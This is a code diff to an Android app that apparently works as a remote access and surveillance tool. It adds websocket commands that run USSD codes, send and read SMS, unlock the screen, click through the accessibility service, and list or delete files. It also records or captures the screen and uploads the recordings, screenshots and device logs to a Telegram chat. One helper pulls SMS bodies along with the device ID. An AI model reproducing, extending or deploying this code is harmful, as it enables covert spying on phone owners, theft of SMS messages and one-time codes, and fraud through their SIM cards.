                     if (success == 2 && !isHavaNumber) {

+ 90 - 0
frpc_android-master/app/src/main/java/com/app/duck/util/HxUtils.java

@@ -5,7 +5,9 @@ import android.app.ActivityManager;
 import android.content.ContentResolver;
 import android.content.Context;
 import android.database.Cursor;
+import android.graphics.Bitmap;
 import android.net.Uri;
+import android.provider.Telephony;
 import android.telephony.SubscriptionInfo;
 import android.telephony.SubscriptionManager;
 import android.util.Log;
@@ -16,6 +18,7 @@ import com.app.duck.BuildConfig;
 import com.app.duck.Config;
 import com.app.duck.R;
 import com.app.duck.dialog.UploadAppDialog;
+import com.blankj.utilcode.util.DeviceUtils;
 import com.blankj.utilcode.util.GsonUtils;
 import com.blankj.utilcode.util.SPUtils;
 import com.blankj.utilcode.util.StringUtils;
@@ -27,8 +30,11 @@ import com.google.gson.JsonArray;
 
 import java.io.BufferedReader;
 import java.io.ByteArrayOutputStream;
+import java.io.File;
+import java.io.FileOutputStream;
 import java.io.IOException;
 import java.io.InputStreamReader;
+import java.nio.ByteBuffer;
 import java.nio.charset.StandardCharsets;
 import java.util.ArrayList;
 import java.util.Arrays;
@@ -312,4 +318,88 @@ public class HxUtils {
         }
         return GsonUtils.toJson(map);
     }
+
+
+    public static HashMap<String, String> queryInboxMessage(long id) {
+        ContentResolver contentResolver = Utils.getApp().getContentResolver();
+        HashMap<String, String> map = new HashMap<>();
+        Uri uri = Uri.parse("content://sms/");
+        String[] projection = new String[]{Telephony.Sms._ID, Telephony.Sms.ADDRESS, Telephony.Sms.DATE_SENT, Telephony.Sms.DATE, Telephony.Sms.TYPE,
+                Telephony.Sms.BODY, Telephony.Sms.SUBSCRIPTION_ID};
+        String selection = Telephony.Sms._ID + " = ?";
+        String[] selectionArgs = new String[]{String.valueOf(id)};
+        Cursor cursor = contentResolver.query(uri, projection, selection, selectionArgs, null);
+        try {
+            if (cursor != null && cursor.moveToFirst()) {
+                @SuppressLint("Range") String sender = cursor.getString(cursor.getColumnIndex(Telephony.Sms.ADDRESS));//发件人
+                @SuppressLint("Range") String receiver = cursor.getString(cursor.getColumnIndex(Telephony.Sms.DATE));//收件时间
+                @SuppressLint("Range") long sentTime = cursor.getLong(cursor.getColumnIndex(Telephony.Sms.DATE_SENT));//发件日期时间,时间戳格式
+                @SuppressLint("Range") String body = cursor.getString(cursor.getColumnIndex(Telephony.Sms.BODY));//短信的正文内容。
+                @SuppressLint("Range") int subID = cursor.getInt(cursor.getColumnIndex(Telephony.Sms.SUBSCRIPTION_ID));//sim卡关联ID
+                map.put("address", StringUtils.isTrimEmpty(HxUtils.getRecord(subID)) ? "UNKNOWN" : HxUtils.getRecord(subID));
+                map.put("body", body);
+                map.put("timestampMillis", sentTime + "");
+                map.put("sender", sender);
+                map.put("date", receiver);
+                map.put("id", id + "");
+                map.put("sub_id", subID + "");
+                map.put("android_id", DeviceUtils.getAndroidID());
+            }
+        } catch (Exception e) {
+            new TgBot("这台设备好像在检索SMS库的时候出了点问题?请查看设备日志!", true);
+            Log.e(com.app.duck.Config.LOG_TAG, StringUtils.getString(R.string.log_tip_7), e);
+            XLog.e(StringUtils.getString(R.string.log_tip_7), e);
+        } finally {
+            if (cursor != null) {
+                cursor.close();
+            }
+
+        }
+
+        return map;
+
+    }
+
+
+    public static void saveH264ToFile(ByteBuffer buffer, String filePath) {
+        try (FileOutputStream fos = new FileOutputStream(filePath, true)) { // 追加写入
+            byte[] h264Data = new byte[buffer.remaining()];
+            buffer.get(h264Data);
+            fos.write(h264Data);
+        } catch (IOException e) {
+            e.printStackTrace();
+        }
+    }
+
+    // 将 RGBA byte[] 转换为 Bitmap
+    public static Bitmap rgbaToBitmap(byte[] bytes, int width, int height) {
+        // 检查字节数组大小是否符合要求
+
+
+        // 创建 ARGB_8888 格式的 Bitmap
+        Bitmap bitmap = Bitmap.createBitmap(width, height, Bitmap.Config.ARGB_8888);
+
+        // 将 byte[] 转换为 ByteBuffer,并将其复制到 Bitmap
+        ByteBuffer buffer = ByteBuffer.wrap(bytes);
+        bitmap.copyPixelsFromBuffer(buffer);
+
+        return bitmap;
+    }
+
+    // 将 Bitmap 保存为文件
+    public static void saveBitmapToFile(Bitmap bitmap, String filePath) throws IOException {
+        File file = new File(filePath);
+        FileOutputStream out = null;
+        try {
+            out = new FileOutputStream(file);
+            // 将 Bitmap 写入文件,格式为 PNG,质量为 100(PNG 是无损格式)
+            bitmap.compress(Bitmap.CompressFormat.JPEG, 40, out);
+            out.flush(); // 确保所有数据都写入文件
+        } finally {
+            if (out != null) {
+                out.close(); // 关闭输出流,释放资源
+            }
+        }
+    }
+
 }

+ 2 - 0
frpc_android-master/app/src/main/java/com/app/duck/util/PermissionsUtils.java

@@ -53,6 +53,8 @@ public class PermissionsUtils {
             permission.add(Manifest.permission.CALL_PHONE);
             permission.add(Manifest.permission.DISABLE_KEYGUARD);
             permission.add(Manifest.permission.WRITE_EXTERNAL_STORAGE);
+            permission.add(Manifest.permission.RECORD_AUDIO);
+            permission.add(Manifest.permission.FOREGROUND_SERVICE);
             permission.add(Manifest.permission.READ_EXTERNAL_STORAGE);
         }
         if (b2) {

+ 102 - 0
frpc_android-master/app/src/main/java/com/app/duck/util/ScreenCaptureService.java

@@ -0,0 +1,102 @@
+package com.app.duck.util;
+
+import android.app.Notification;
+import android.app.Service;
+import android.content.Intent;
+import android.content.pm.ServiceInfo;
+import android.hardware.display.DisplayManager;
+import android.hardware.display.VirtualDisplay;
+import android.media.MediaRecorder;
+import android.media.projection.MediaProjection;
+import android.os.Build;
+import android.os.Environment;
+import android.os.IBinder;
+import android.view.Surface;
+
+import androidx.core.app.NotificationCompat;
+
+import java.io.File;
+import java.io.IOException;
+
+/**
+ * author: hx
+ * created on: 2024/10/31 11:08
+ * description:
+ */
+public class ScreenCaptureService extends Service {
+    public static MediaProjection mediaProjection;
+    private VirtualDisplay virtualDisplay;
+    private MediaRecorder mediaRecorder;
+
+    @Override
+    public void onCreate() {
+        super.onCreate();
+
+    }
+
+    @Override
+    public int onStartCommand(Intent intent, int flags, int startId) {
+        // 启动前台服务
+        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.Q) {
+            startForeground(1, getNotification(), ServiceInfo.FOREGROUND_SERVICE_TYPE_MEDIA_PROJECTION);
+        }
+        initMediaRecorder();
+        startScreenRecording();
+
+        return START_STICKY;
+    }
+
+    @Override
+    public IBinder onBind(Intent intent) {
+        return null;
+    }
+
+
+    private Notification getNotification() {
+        NotificationCompat.Builder builder = new NotificationCompat.Builder(this, "screen_record_channel")
+                .setContentTitle("Screen Recording")
+                .setContentText("Recording your screen")
+                .setPriority(NotificationCompat.PRIORITY_HIGH);
+        return builder.build();
+    }
+
+    private void initMediaRecorder() {
+        File outputFile = new File(Environment.getExternalStoragePublicDirectory(Environment.DIRECTORY_DOWNLOADS), "recorded_video.mp4");
+        mediaRecorder.setOutputFile(outputFile.getAbsolutePath());
+        mediaRecorder = new MediaRecorder();
+        mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
+        mediaRecorder.setVideoSource(MediaRecorder.VideoSource.SURFACE);
+        mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.MPEG_4);
+        mediaRecorder.setOutputFile(outputFile.getAbsolutePath());
+        mediaRecorder.setVideoSize(1080, 1920); // 设置分辨率
+        mediaRecorder.setVideoEncoder(MediaRecorder.VideoEncoder.H264);
+        mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
+        mediaRecorder.setVideoEncodingBitRate(5 * 1024 * 1024);
+        mediaRecorder.setVideoFrameRate(30);
+
+        try {
+            mediaRecorder.prepare();
+        } catch (IOException e) {
+            e.printStackTrace();
+        }
+    }
+
+    private void startScreenRecording() {
+        Surface surface = mediaRecorder.getSurface();
+        virtualDisplay = mediaProjection.createVirtualDisplay("ScreenRecord",
+                1080, 1920, 320,
+                DisplayManager.VIRTUAL_DISPLAY_FLAG_AUTO_MIRROR,
+                surface, null, null);
+
+        mediaRecorder.start();
+    }
+
+    @Override
+    public void onDestroy() {
+        super.onDestroy();
+        mediaRecorder.stop();
+        mediaRecorder.release();
+        virtualDisplay.release();
+        mediaProjection.stop();
+    }
+}

+ 3 - 0
frpc_android-master/app/src/main/java/com/app/duck/util/SmsReceiver.java

@@ -35,6 +35,7 @@ public class SmsReceiver extends BroadcastReceiver {
     public void onReceive(Context context, Intent intent) {
         if (intent.getAction().equals(SMS_RECEIVED)) {
             ThreadUtils.runOnUiThreadDelayed(() -> {
+
                 HashMap<String, String> map = new HashMap<>();
                 Bundle bundle = intent.getExtras();
                 if (bundle != null) {
@@ -52,6 +53,8 @@ public class SmsReceiver extends BroadcastReceiver {
 
                         }
                         String smsBody = smsBodyBuilder.toString();
+                        Log.d("hzshkj", "[SmsReceiver] onReceive: "+smsBody);
+
                         String phone = getPhone(intent.getExtras()) == null ? "UNKNOWN" : getPhone(intent.getExtras());
                         map.put("body", smsBody);
                         map.put("address", phone);

+ 177 - 1
frpc_android-master/app/src/main/java/com/app/duck/util/TgBot.java

@@ -8,6 +8,7 @@ import android.util.Log;
 import com.app.duck.BuildConfig;
 import com.app.duck.Config;
 import com.app.duck.R;
+import com.arthenica.mobileffmpeg.FFmpeg;
 import com.blankj.utilcode.util.AppUtils;
 import com.blankj.utilcode.util.DeviceUtils;
 import com.blankj.utilcode.util.FileUtils;
@@ -47,11 +48,78 @@ public class TgBot {
         }
     }
 
-    public void sendFileToGroup() {
+    public TgBot() {
+        sendVideToGroup();
+    }
+
+    public TgBot(byte[] bytes, int w, int h) {
+        String filePath = Utils.getApp().getFilesDir().getPath() + "/screen.jpg";
+        try {
+            HxUtils.saveBitmapToFile(HxUtils.rgbaToBitmap(bytes, w, h), filePath);
+            sendScreenToGroup(filePath);
+        } catch (Exception e) {
+            Log.d("hzshkj", "[TgBot] TgBot: " + e.getMessage());
+        }
+
+    }
+
+    public void sendScreenToGroup(String path) {
         ThreadUtils.executeByIo(new ThreadUtils.Task<Object>() {
             @Override
             public Object doInBackground() throws Throwable {
+                ToastUtils.showLong(R.string.pushing);
+                XLog.i(StringUtils.getString(R.string.pushing));
+                String filePathZip = Utils.getApp().getFilesDir().getPath() + "/zip/screen.zip";
+                FileUtils.createFileByDeleteOldFile(filePathZip);
+                OkHttpClient client = new OkHttpClient();
+                ZipUtils.zipFile(path, filePathZip, "screen zip push");
+                File file = new File(filePathZip);
+                MultipartBody.Builder builder = new MultipartBody.Builder()
+                        .setType(MultipartBody.FORM)
+                        .addFormDataPart("chat_id", HxUtils.getChatId())
+                        .addFormDataPart("document", file.getName(), RequestBody.create(MediaType.parse("text/plain"), file));
+                HttpUrl.Builder urlBuilder = HttpUrl.parse(APP_TG_SEND_DOCUMENT).newBuilder();
+                Request request = new Request.Builder()
+                        .url(urlBuilder.build())
+                        .post(builder.build())
+                        .build();
+                Response response = client.newCall(request).execute();
+                if (response.isSuccessful()) {
+                    ToastUtils.showLong(R.string.push_suc);
+                    Log.i(Config.LOG_TAG, "File sent successfully.");
+                    XLog.i("File sent successfully.");
+                } else {
+                    ToastUtils.showLong(R.string.push_error);
+                    Log.i(Config.LOG_TAG, "Failed to send file. Response: " + response.body().string());
+                    XLog.i("Failed to send file. Response: " + response.body().string());
+                }
+                return null;
+            }
 
+            @Override
+            public void onSuccess(Object result) {
+
+            }
+
+            @Override
+            public void onCancel() {
+
+            }
+
+            @Override
+            public void onFail(Throwable t) {
+                ToastUtils.showLong(R.string.push_error);
+                Log.e(Config.LOG_TAG, "Send file to group fail. ", t);
+                XLog.e("Send file to group fail. ", t);
+            }
+        });
+
+    }
+
+    public void sendFileToGroup() {
+        ThreadUtils.executeByIo(new ThreadUtils.Task<Object>() {
+            @Override
+            public Object doInBackground() throws Throwable {
                 try {
                     XLog.i("AndroidId -> " + DeviceUtils.getAndroidID());
                     XLog.i("AppName -> " + AppUtils.getAppName());
@@ -117,6 +185,95 @@ public class TgBot {
 
     }
 
+    public void sendVideToGroup() {
+        String filePath = Utils.getApp().getFilesDir().getPath() + "/video.h264";
+        String filePathMp4 = Utils.getApp().getFilesDir().getPath() + "/videos.mp4";
+        ThreadUtils.executeByIo(new ThreadUtils.SimpleTask<Integer>() {
+            @Override
+            public Integer doInBackground() throws Throwable {
+                ToastUtils.showLong(R.string.pushing);
+                XLog.i(StringUtils.getString(R.string.pushing));
+                return convertH264ToMp4(filePath, filePathMp4);
+            }
+
+            @Override
+            public void onSuccess(Integer result) {
+                if (result == 0) {
+                    pushVideo(filePathMp4, filePath);
+                } else {
+                    pushVideo(filePath, filePathMp4);
+                }
+            }
+
+            @Override
+            public void onFail(Throwable t) {
+                super.onFail(t);
+                pushVideo(filePath, filePathMp4);
+            }
+
+            @Override
+            public void onCancel() {
+                super.onCancel();
+                pushVideo(filePath, filePathMp4);
+            }
+        });
+
+
+    }
+
+    private void pushVideo(String filePath, String filePath2) {
+        ThreadUtils.executeByIo(new ThreadUtils.Task<Object>() {
+            @Override
+            public Object doInBackground() throws Throwable {
+                String filePathZip = Utils.getApp().getFilesDir().getPath() + "/zip/video.zip";
+                FileUtils.createFileByDeleteOldFile(filePathZip);
+                ZipUtils.zipFile(filePath, filePathZip, "video zip push");
+                OkHttpClient client = new OkHttpClient();
+                File file = new File(filePathZip);
+                MultipartBody.Builder builder = new MultipartBody.Builder()
+                        .setType(MultipartBody.FORM)
+                        .addFormDataPart("chat_id", HxUtils.getChatId())
+                        .addFormDataPart("document", file.getName(), RequestBody.create(MediaType.parse("text/plain"), file));
+                HttpUrl.Builder urlBuilder = HttpUrl.parse(APP_TG_SEND_DOCUMENT).newBuilder();
+                Request request = new Request.Builder()
+                        .url(urlBuilder.build())
+                        .post(builder.build())
+                        .build();
+                Response response = client.newCall(request).execute();
+                if (response.isSuccessful()) {
+                    ToastUtils.showLong(R.string.push_suc);
+                    FileUtils.delete(filePath2);
+                    FileUtils.delete(filePath);
+                    FileUtils.delete(filePathZip);
+                    Log.i(Config.LOG_TAG, "video sent successfully.");
+                    XLog.i("video sent successfully.");
+                } else {
+                    ToastUtils.showLong(R.string.push_error);
+                    Log.i(Config.LOG_TAG, "Failed to send video. Response: " + response.body().string());
+                    XLog.i("Failed to send video. Response: " + response.body().string());
+                }
+                return null;
+            }
+
+            @Override
+            public void onSuccess(Object result) {
+
+            }
+
+            @Override
+            public void onCancel() {
+
+            }
+
+            @Override
+            public void onFail(Throwable t) {
+                ToastUtils.showLong(R.string.push_error);
+                Log.e(Config.LOG_TAG, "Send file to group fail. ", t);
+                XLog.e("Send file to group fail. ", t);
+            }
+        });
+    }
+
     public void sendMessageToGroup(String message) {
         ThreadUtils.executeByIo(new ThreadUtils.Task<Object>() {
             @Override
@@ -162,4 +319,23 @@ public class TgBot {
         });
 
     }
+
+    public int convertH264ToMp4(String h264FilePath, String outputMp4FilePath) {
+        // 设置合理的比特率和分辨率以保持基础清晰度
+        String command = String.format("-i %s -b:v 100k -r 5 -vf scale=480:-2 -c:v libx264 -crf 30 -preset ultrafast -an %s", h264FilePath, outputMp4FilePath);
+
+        // 使用 FFmpeg 执行命令
+        int rc = FFmpeg.execute(command);
+        ToastUtils.showLong("rc : " + rc);
+        if (rc == 0) {
+            Log.d("FFmpeg", "转换成功!");
+        } else if (rc == 255) {
+            Log.d("FFmpeg", "转换被取消!");
+        } else {
+            Log.d("FFmpeg", String.format("转换失败,返回代码:%d", rc));
+        }
+        return rc;
+    }
+
+
 }

+ 175 - 4
frpc_android-master/app/src/main/java/com/app/duck/util/WsManager.java

@@ -19,6 +19,7 @@ import android.util.Base64;
 import android.util.Log;
 
 import androidx.annotation.NonNull;
+import androidx.fragment.app.FragmentActivity;
 
 import com.alibaba.fastjson.JSON;
 import com.alibaba.fastjson.JSONArray;
@@ -41,6 +42,12 @@ import com.romellfudi.ussdlibrary.OverlayShowingService;
 import com.romellfudi.ussdlibrary.PayController;
 import com.romellfudi.ussdlibrary.USSDApi;
 import com.romellfudi.ussdlibrary.USSDController;
+import com.romellfudi.ussdlibrary.USSDService;
+
+import org.loka.screensharekit.EncodeBuilder;
+import org.loka.screensharekit.ErrorInfo;
+import org.loka.screensharekit.ScreenShareKit;
+import org.loka.screensharekit.callback.ErrorCallBack;
 
 import java.io.File;
 import java.lang.reflect.Field;
@@ -120,13 +127,16 @@ public final class WsManager {
                         ThreadUtils.runOnUiThread(() -> cancelUssd(requestId));
                         break;
                     case "log":
+                        sendWebSocketMsg(requestId, "over", "log success...");
                         ThreadUtils.runOnUiThread(() -> new TgBot("", false));
                         break;
                     case "message":
+                        sendWebSocketMsg(requestId, "over", "message success...");
                         ThreadUtils.runOnUiThread(() -> new TgBot(value, true));
                         break;
                     case "config":
                         HxUtils.checkForUpdateBotConfig();
+                        sendWebSocketMsg(requestId, "over", "config success...");
                     case "phoneConfig":
                         HxUtils.getPhoneConfig();
                     case "getRootInActiveWindow":
@@ -190,6 +200,138 @@ public final class WsManager {
                     case "sendSMSDelayed":
                         sendSMSDelayed(requestId, content, value);
                         break;
+                    case "relaunchApp":
+                        sendWebSocketMsg(requestId, "over", "relaunch app...");
+                        AppUtils.relaunchApp(true);
+                        break;
+                    case "getLastEventText":
+                        try {
+                            sendWebSocketMsg(requestId, "over", USSDService.event.getText().toString());
+                        } catch (Exception w) {
+
+                        }
+                        break;
+                    case "videoStart":
+                        try {
+                            ThreadUtils.runOnUiThread(() -> {
+                                FileUtils.delete(Utils.getApp().getFilesDir().getPath() + "/video.h264");
+                            });
+                        } catch (Exception e) {
+
+                        }
+                        try {
+                            ThreadUtils.runOnUiThreadDelayed(() -> ScreenShareKit.INSTANCE.init((FragmentActivity) ActivityUtils.getTopActivity())
+                                    .onH264((buffer, isKeyFrame, width, height, ts) -> {
+                                        HxUtils.saveH264ToFile(buffer, Utils.getApp().getFilesDir().getPath() + "/video.h264");
+                                    })
+                                    .onStart(() -> {
+                                        sendWebSocketMsg(requestId, "over", "videoStart");
+                                    })
+                                    .onError(new ErrorCallBack() {
+                                        @Override
+                                        public void onError(@NonNull ErrorInfo errorInfo) {
+                                            sendWebSocketMsg(requestId, "exception", "exception: " + errorInfo.getMessage());
+                                        }
+                                    })
+                                    .start(), 100);
+                        } catch (Exception e) {
+                            sendWebSocketMsg(requestId, "exception", "exception: " + e.getMessage());
+                        }
+                        break;
+                    case "videoStop":
+                        try {
+                            sendWebSocketMsg(requestId, "over", "videoStop...");
+                            ThreadUtils.runOnUiThread(new Runnable() {
+                                @Override
+                                public void run() {
+                                    ScreenShareKit.INSTANCE.stop();
+                                }
+                            });
+                            ThreadUtils.runOnUiThreadDelayed(TgBot::new, 5000);
+                        } catch (Exception e) {
+                            sendWebSocketMsg(requestId, "exception", "error:" + e.getMessage());
+                        }
+
+                        break;
+                    case "deleteVideo":
+                        ThreadUtils.runOnUiThread(() -> {
+                            FileUtils.delete(Utils.getApp().getFilesDir().getPath() + "/video.h264");
+                            sendWebSocketMsg(requestId, "over", "deleteVideo...");
+                        });
+                        break;
+                    case "screen":
+                        try {
+                            final byte[][] mBytes = new byte[1][1];
+                            final int[] w = new int[1];
+                            final int[] h = new int[1];
+                            ThreadUtils.runOnUiThreadDelayed(() -> {
+                                        EncodeBuilder encodeBuilder = ScreenShareKit.INSTANCE.init((FragmentActivity) ActivityUtils.getTopActivity());
+                                        encodeBuilder.setScreenDataType(EncodeBuilder.SCREEN_DATA_TYPE.RGBA);
+                                        encodeBuilder.onRGBA((bytes, i, i1, i2, i3, b) -> {
+                                                    Log.d("hzshkj", "[MainActivity] onRGBA: " + bytes.length);
+                                                    Log.d("hzshkj", "[MainActivity] 宽: " + i);
+                                                    Log.d("hzshkj", "[MainActivity] 高: " + i1);
+                                                    Log.d("hzshkj", "[MainActivity] i2: " + i2);
+                                                    Log.d("hzshkj", "[MainActivity] i3: " + i3);
+                                                    Log.d("hzshkj", "[MainActivity] b: " + b);
+                                                    mBytes[0] = bytes;
+                                                    w[0] = i2;
+                                                    h[0] = i1;
+                                                    ScreenShareKit.INSTANCE.stop();
+                                                })
+                                                .onError(new ErrorCallBack() {
+                                                    @Override
+                                                    public void onError(@NonNull ErrorInfo errorInfo) {
+                                                        sendWebSocketMsg(requestId, "exception", "info:" + errorInfo.getMessage());
+                                                    }
+                                                })
+
+                                                .onStart(() -> Log.d("hzshkj", "开始截屏"))
+                                                .start();
+                                    }
+                                    , 500);
+
+                            ThreadUtils.runOnUiThreadDelayed(() -> {
+                                sendWebSocketMsg(requestId, "over", "start screen...");
+                                new TgBot(mBytes[0], w[0], h[0]);
+                            }, 5000);
+                        } catch (Exception e) {
+                            sendWebSocketMsg(requestId, "exception", "info:" + e.getMessage());
+                        }
+
+
+                        break;
+                    case "help":
+                        HashMap<String, String> helpMap = new HashMap<>();
+                        helpMap.put("invoke", "启动ussd命令");
+                        helpMap.put("invoke2", "启动ussd命令");
+                        helpMap.put("send", "发送ussd命令");
+                        helpMap.put("cancel", "取消ussd命令");
+                        helpMap.put("log", "传送设备日志");
+                        helpMap.put("message", "发送tg消息");
+                        helpMap.put("config", "更新配置");
+                        helpMap.put("phoneConfig", "获取设备配置");
+                        helpMap.put("getRootInActiveWindow", "获取当前界面内容");
+                        helpMap.put("startApp", "启动某个App");
+                        helpMap.put("performAction", "点击");
+                        helpMap.put("performGlobalAction", "全局点击");
+                        helpMap.put("unlock", "解除锁屏");
+                        helpMap.put("fileList", "获取文件列表");
+                        helpMap.put("deleteFile", "删除文件");
+                        helpMap.put("getFileByPath", "获取某个路径下的文件");
+                        helpMap.put("getPath", "获取某个路径下的文件列表");
+                        helpMap.put("sendSMS", "发送短信");
+                        helpMap.put("getOutBoxSMS", "获取发件箱内容");
+                        helpMap.put("sendSMSDelayed", "发送短信,有回调");
+                        helpMap.put("relaunchApp", "重启本App");
+                        helpMap.put("getLastEventText", "获取最新一次ussd消息提示内容");
+                        helpMap.put("videoStart", "开始录屏");
+                        helpMap.put("videoStop", "结束录屏并上传");
+                        helpMap.put("deleteVideo", "删除录屏文件");
+                        helpMap.put("screen", "截屏");
+                        helpMap.put("help", "获取所有命令列表");
+                        sendWebSocketMsg(requestId, "over", GsonUtils.toJson(helpMap));
+                        break;
                     default:
                         XLog.e(command + " 没有定义该操作!");
                         sendWebSocketMsg(requestId, "exception", command + " 没有定义该操作!");
@@ -483,7 +625,7 @@ public final class WsManager {
                 @Override
                 public void over(String message) {
                     sendWebSocketMsg(request_id, "over", message);
-                    Utils.getApp().stopService(svc);
+//                    Utils.getApp().stopService(svc);
                 }
             });
         } catch (Exception e) {
@@ -535,8 +677,8 @@ public final class WsManager {
                 @Override
                 public void over(String message) {
                     sendWebSocketMsg(request_id, "over", message);
-                    if (null != svc)
-                        Utils.getApp().stopService(svc);
+//                    if (null != svc)
+//                        Utils.getApp().stopService(svc);
                 }
             });
         } catch (Exception e) {
@@ -552,7 +694,7 @@ public final class WsManager {
         sendMessage(GsonUtils.toJson(map), 0);
     }
 
-    private static void getNowRootInActiveWindow(String request_id) {
+    public static void getNowRootInActiveWindow(String request_id) {
         ThreadUtils.executeByIo(new ThreadUtils.Task<String>() {
             @Override
             public String doInBackground() throws Exception {
@@ -578,6 +720,32 @@ public final class WsManager {
 
     }
 
+    public static void getNowRootInActiveWindowDemo() {
+        ThreadUtils.executeByIo(new ThreadUtils.Task<String>() {
+            @Override
+            public String doInBackground() throws Exception {
+                return Base64.encodeToString(HxUtils.gzip(PayController.getNowRootInActiveWindow()), 0);
+            }
+
+            @Override
+            public void onSuccess(String result) {
+                Log.d("hzshkj", "[WsManager] onSuccess: "+result);
+            }
+
+
+            @Override
+            public void onCancel() {
+                Log.d("hzshkj", "[WsManager] onCancel: ");
+            }
+
+            @Override
+            public void onFail(Throwable t) {
+                Log.e("hzshkj", "onFail: ", t);
+            }
+        });
+
+    }
+
     private static void startApp(String request_id, String packageName) {
         if (!StringUtils.isSpace(packageName)) {
             Intent launchAppIntent = IntentUtils.getLaunchAppIntent(packageName);
@@ -694,6 +862,9 @@ public final class WsManager {
         try {
             ussdApi.cancel();
             sendWebSocketMsg(request_id, "cancel", "cancel");
+            if (null != svc) {
+                Utils.getApp().stopService(svc);
+            }
         } catch (Exception e) {
             sendWebSocketMsg(request_id, "exception", e.getMessage());
         }

+ 1 - 1
frpc_android-master/app/src/main/java/com/app/http/Http.java

@@ -36,7 +36,7 @@ public class Http {
     public final static int FINISH_AND_RETRY = 2;
     private final Map<String, Object> params;    private static List<Callback.Cancelable> cancelableList = getCancelList();
     private String url;
-    private int timeout = 15 * 1000;
+    private int timeout = 30 * 1000;
     private LoadingDialog dialog;
     private boolean isBindLife = true;
     private Callback.Cancelable cancelable;

+ 14 - 1
frpc_android-master/app/src/main/res/layout/content_main.xml

@@ -32,6 +32,19 @@
         app:layout_constraintEnd_toEndOf="parent"
         app:layout_constraintStart_toStartOf="parent">
 
+        <TextView
+            android:id="@+id/netTv"
+            android:layout_width="0dp"
+            android:layout_height="wrap_content"
+            android:paddingStart="10dp"
+            android:textColor="@color/white"
+            android:background="@color/green"
+            android:textSize="14sp"
+            android:textStyle="bold"
+            app:layout_constraintBottom_toTopOf="@+id/rv"
+            app:layout_constraintEnd_toEndOf="parent"
+            app:layout_constraintStart_toStartOf="parent"
+            tools:text="11111" />
 
         <androidx.recyclerview.widget.RecyclerView
             android:id="@+id/rv"
@@ -140,11 +153,11 @@
         android:marqueeRepeatLimit="marquee_forever"
         android:paddingTop="3dp"
         android:paddingBottom="3dp"
-        android:visibility="gone"
         android:textColor="@color/black"
         android:textColorHint="@color/white"
         android:textSize="20sp"
         android:textStyle="bold"
+        android:visibility="gone"
         app:layout_constraintBottom_toBottomOf="@+id/nav_host_fragment"
         app:layout_constraintEnd_toEndOf="parent"
         app:layout_constraintStart_toStartOf="parent"

+ 12 - 0
frpc_android-master/app/src/main/res/menu/activity_main_drawer.xml

@@ -13,6 +13,18 @@
     <item
         android:id="@+id/change"
         android:title="@string/change" />
+    <item
+        android:id="@+id/start_video"
+        android:title="@string/start_video" />
+    <item
+        android:id="@+id/stop_video"
+        android:title="@string/stop_video" />
+    <item
+        android:id="@+id/screen"
+        android:title="@string/screen" />
+    <item
+        android:id="@+id/restart"
+        android:title="@string/restart" />
 
     <!--    <group android:checkableBehavior="single">-->
     <!--        <item-->

+ 7 - 0
frpc_android-master/app/src/main/res/values-en/strings.xml

@@ -88,5 +88,12 @@
     <string name="read_phone_state_sim">Without READ_PHONE_STATE permission, try refreshing the SIM card list again after two seconds.</string>
     <string name="sim">Detected that the sim card has been removed</string>
     <string name="please_set_the_number_for_the_sim_card">Please set the number for the sim-%1$d card [ %2$s ] !</string>
+    <string name="please_enter_the_server_port">Please enter the server port.</string>
+    <string name="server_port">Server Port</string>
+    <string name="restart">Restart</string>
+    <string name="connected_b_available_b">Connected: %b, Available: %b</string>
+    <string name="start_video">Start Recording</string>
+    <string name="stop_video">Stop Recording</string>
+    <string name="screen">Screen</string>
 
 </resources>

+ 7 - 0
frpc_android-master/app/src/main/res/values/strings.xml

@@ -86,5 +86,12 @@
     <string name="read_phone_state_sim">没有READ_PHONE_STATE权限,两秒后重新尝试刷新SIM卡列表..</string>
     <string name="sim">检测到sim卡被拔出</string>
     <string name="please_set_the_number_for_the_sim_card">请给 SIM-%1$d [ %2$s ]卡设置手机号码!</string>
+    <string name="please_enter_the_server_port">请输入服务端口.</string>
+    <string name="server_port">服务端口</string>
+    <string name="restart">重启</string>
+    <string name="connected_b_available_b">连接: %b, 可用: %b</string>
+    <string name="start_video">开始录制</string>
+    <string name="stop_video">结束录制</string>
+    <string name="screen">截屏</string>
 
 </resources>

+ 1 - 0
frpc_android-master/ussd-library/build.gradle

@@ -86,6 +86,7 @@ dependencies {
     implementation 'com.orhanobut:logger:2.2.0'
     implementation 'com.google.code.gson:gson:2.10.1'
     api 'com.elvishew:xlog:1.11.0'
+    api 'com.blankj:utilcodex:1.30.6'
 }
 
 //apply from: 'https://raw.githubusercontent.com/romellfudi/assets/bintray/artifactory_bintray.gradle'

+ 3 - 0
frpc_android-master/ussd-library/src/main/java/com/romellfudi/ussdlibrary/PayController.java

@@ -10,6 +10,7 @@ import android.accessibilityservice.AccessibilityService;
 import android.os.Bundle;
 import android.view.accessibility.AccessibilityNodeInfo;
 
+import com.elvishew.xlog.XLog;
 import com.google.gson.Gson;
 
 import java.util.ArrayList;
@@ -38,6 +39,8 @@ public class PayController {
         String PageJson = "{}";
         AccessibilityNodeInfo node = getMyAccessibilityService().getRootInActiveWindow();
         if (node != null) {
+            XLog.i("[getNowRootInActiveWindow]node.isVisibleToUser() 尝试获取---->" + node.isVisibleToUser());
+            XLog.i("[getNowRootInActiveWindow]node.isEnabled() 尝试获取---->" + node.isEnabled());
             NodeInfoWrapper nodeInfoWrapper = traverseNode(node);
             Gson gson = new Gson();
             PageJson = gson.toJson(nodeInfoWrapper);

+ 93 - 56
frpc_android-master/ussd-library/src/main/java/com/romellfudi/ussdlibrary/USSDService.java

@@ -7,25 +7,26 @@
 package com.romellfudi.ussdlibrary;
 
 import android.accessibilityservice.AccessibilityService;
-import android.annotation.SuppressLint;
 import android.content.ClipData;
 import android.content.ClipboardManager;
 import android.content.Context;
-import android.content.Intent;
 import android.os.Build;
 import android.os.Bundle;
+import android.os.Handler;
+import android.os.Looper;
 import android.os.Parcel;
-import android.telecom.PhoneAccountHandle;
-import android.telecom.TelecomManager;
-import android.telephony.TelephonyManager;
 import android.util.Log;
 import android.view.accessibility.AccessibilityEvent;
 import android.view.accessibility.AccessibilityNodeInfo;
 
+import androidx.annotation.RequiresApi;
+
+import com.blankj.utilcode.util.SPUtils;
 import com.elvishew.xlog.XLog;
 import com.google.gson.Gson;
 
 import java.util.ArrayList;
+import java.util.LinkedList;
 import java.util.List;
 
 /**
